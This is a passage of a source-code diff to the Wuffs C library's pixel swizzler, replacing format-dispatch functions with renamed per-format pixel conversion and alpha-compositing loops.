WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return NULL; -- } -- return wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over; -- } -- return NULL; -+ size_t n = len; -+ while (n >= 1) { -+ uint8_t s0 = s[0]; -+ uint8_t s1 = s[1]; -+ uint8_t s2 = s[2]; -+ uint8_t s3 = s[3]; -+ d[0] = s2; -+ d[1] = s2; -+ d[2] = s1; -+ d[3] = s1; -+ d[4] = s0; -+ d[5] = s0; -+ d[6] = s3; -+ d[7] = s3; - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return NULL; -- } -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__xxxx__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__index_bgra_nonpremul__src_over; -- } -- return NULL; -- -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return NULL; -- } -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__xxxxxxxx__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__index_bgra_nonpremul__src_over; -- } -- return NULL; -- -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- if (wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( -- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -- src_palette.len) != -- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -- return NULL; -- } -- return wuffs_base__pixel_swizzler__xxxx__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return NULL; -- } -- return wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over; -- } -- return NULL; -- -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- if (wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( -- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -- src_palette.len) != -- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -- return NULL; -- } -- return wuffs_base__pixel_swizzler__xxx__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( -- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -- src_palette.len) != -- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -- return NULL; -- } -- return wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over; -- } -- return NULL; -+ s += 1 * 4; -+ d += 1 * 8; -+ n -= 1; -+ } -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( -- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -- src_palette.len) != -- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -- return NULL; -- } -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__xxxx__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__index_bgra_nonpremul__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- if (wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( -- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -- src_palette.len) != -- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -- return NULL; -- } -- return wuffs_base__pixel_swizzler__xxxx__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( -- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -- src_palette.len) != -- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -- return NULL; -- } -- return wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over; -- } -- return NULL; -+ size_t n = len; -+ while (n >= 1) { -+ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -+ uint64_t s0 = wuffs_base__color_u32__as__color_u64( -+ wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); -+ wuffs_base__poke_u64le__no_bounds_check( -+ d + (0 * 8), -+ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: -- // TODO. -- break; -+ s += 1 * 4; -+ d += 1 * 8; -+ n -= 1; - } -- return NULL; -+ return len; - } - --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__indexed__bgra_binary( -- wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: -- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return NULL; -- } -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__copy_1_1; -- } -- return NULL; -- -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- if (wuffs_base__pixel_swizzler__squash_align4_bgr_565_8888( -- dst_palette.ptr, dst_palette.len, src_palette.ptr, -- src_palette.len, false) != -- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -- return NULL; -- } -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr_565__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr_565__index_binary_alpha__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_premul__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return NULL; -- } -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__xxx__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__xxx__index_binary_alpha__src_over; -- } -- return NULL; -+ size_t n = len; -+ while (n >= 1) { -+ uint64_t s0 = wuffs_base__color_u32__as__color_u64( -+ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( -+ wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); -+ wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return NULL; -- } -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__xxxx__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__xxxx__index_binary_alpha__src_over; -- } -- return NULL; -+ s += 1 * 4; -+ d += 1 * 8; -+ n -= 1; -+ } -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: -- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return NULL; -- } -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__xxxxxxxx__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__xxxxxxxx__index_binary_alpha__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_premul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; - -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( -- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -- src_palette.len) != -- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -- return NULL; -- } -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__xxx__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__xxx__index_binary_alpha__src_over; -- } -- return NULL; -+ size_t n = len; -+ while (n >= 1) { -+ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -+ uint64_t s0 = wuffs_base__color_u32__as__color_u64( -+ wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); -+ wuffs_base__poke_u64le__no_bounds_check( -+ d + (0 * 8), -+ wuffs_private_impl__composite_nonpremul_premul_u64_axxx(d0, s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( -- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, -- src_palette.len) != -- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { -- return NULL; -- } -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__xxxx__index__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__xxxx__index_binary_alpha__src_over; -- } -- return NULL; -+ s += 1 * 4; -+ d += 1 * 8; -+ n -= 1; - } -- return NULL; -+ return len; - } - --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__bgr_565( -- wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- return wuffs_base__pixel_swizzler__copy_2_2; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__ya_nonpremul__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- return wuffs_base__pixel_swizzler__bgr__bgr_565; -+ size_t n = len; -+ while (n >= 1) { -+ uint64_t s0 = ((uint64_t)(s[1]) * 0x0101000000000000) | -+ ((uint64_t)(s[0]) * 0x0000010101010101); -+ wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- return wuffs_base__pixel_swizzler__bgrw__bgr_565; -+ s += 1 * 2; -+ d += 1 * 8; -+ n -= 1; -+ } -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: -- return wuffs_base__pixel_swizzler__bgrw_4x16le__bgr_565; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__ya_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len8 = dst_len / 8; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; - -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- return wuffs_base__pixel_swizzler__rgb__bgr_565; -+ size_t n = len; -+ while (n >= 1) { -+ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -+ uint64_t s0 = ((uint64_t)(s[1]) * 0x0101000000000000) | -+ ((uint64_t)(s[0]) * 0x0000010101010101); -+ wuffs_base__poke_u64le__no_bounds_check( -+ d + (0 * 8), -+ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: -- return wuffs_base__pixel_swizzler__rgbw__bgr_565; -+ s += 1 * 2; -+ d += 1 * 8; -+ n -= 1; - } -- return NULL; -+ return len; - } - --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__bgr(wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- return wuffs_base__pixel_swizzler__bgr_565__bgr; -- -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- return wuffs_base__pixel_swizzler__copy_3_3; -+// -------- - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- return wuffs_base__pixel_swizzler__bgrw__bgr; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: -- return wuffs_base__pixel_swizzler__bgrw_4x16le__bgr; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- return wuffs_base__pixel_swizzler__swap_rgb_bgr; -+ while (n >= 1) { -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- if (wuffs_base__cpu_arch__have_x86_sse42()) { -- return wuffs_base__pixel_swizzler__bgrw__rgb__x86_sse42; -- } --#endif -- return wuffs_base__pixel_swizzler__bgrw__rgb; -+ s += 1 * 4; -+ d += 1 * 4; -+ n -= 1; - } -- return NULL; --} - --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__bgra_nonpremul( -- wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul__src_over; -- } -- return NULL; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul_4x16le__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__copy_4_4; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul__src_over; -- } -- return NULL; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul__src_over; -- } -- return NULL; -+ while (n >= 1) { -+ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul(s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over; -- } -- return NULL; -+ s += 1 * 8; -+ d += 1 * 4; -+ n -= 1; -+ } - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- // TODO. -- break; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- if (wuffs_base__cpu_arch__have_x86_sse42()) { -- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42; -- } --#endif -- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_nonpremul__src_over; -- } -- return NULL; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over; -- } -- return NULL; -+ while (n >= 1) { -+ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: -- // TODO. -- break; -+ s += 1 * 4; -+ d += 1 * 4; -+ n -= 1; - } -- return NULL; -+ -+ return len; - } - --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__bgra_nonpremul_4x16le( -- wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul_4x16le__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul_4x16le__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul_4x16le__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul_4x16le__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul_4x16le__src_over; -- } -- return NULL; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul_4x16le__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul_4x16le__src_over; -- } -- return NULL; -+ while (n >= 1) { -+ uint64_t d0 = wuffs_base__color_u32__as__color_u64( -+ wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); -+ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_base__color_u64__as__color_u32( -+ wuffs_private_impl__composite_premul_nonpremul_u64_axxx(d0, s0))); - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__copy_8_8; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul_4x16le__src_over; -- } -- return NULL; -- -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src_over; -- } -- return NULL; -+ s += 1 * 8; -+ d += 1 * 4; -+ n -= 1; -+ } - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- // TODO. -- break; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul_4x16le__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul_4x16le__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__bgra_premul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- switch (blend) { -- case 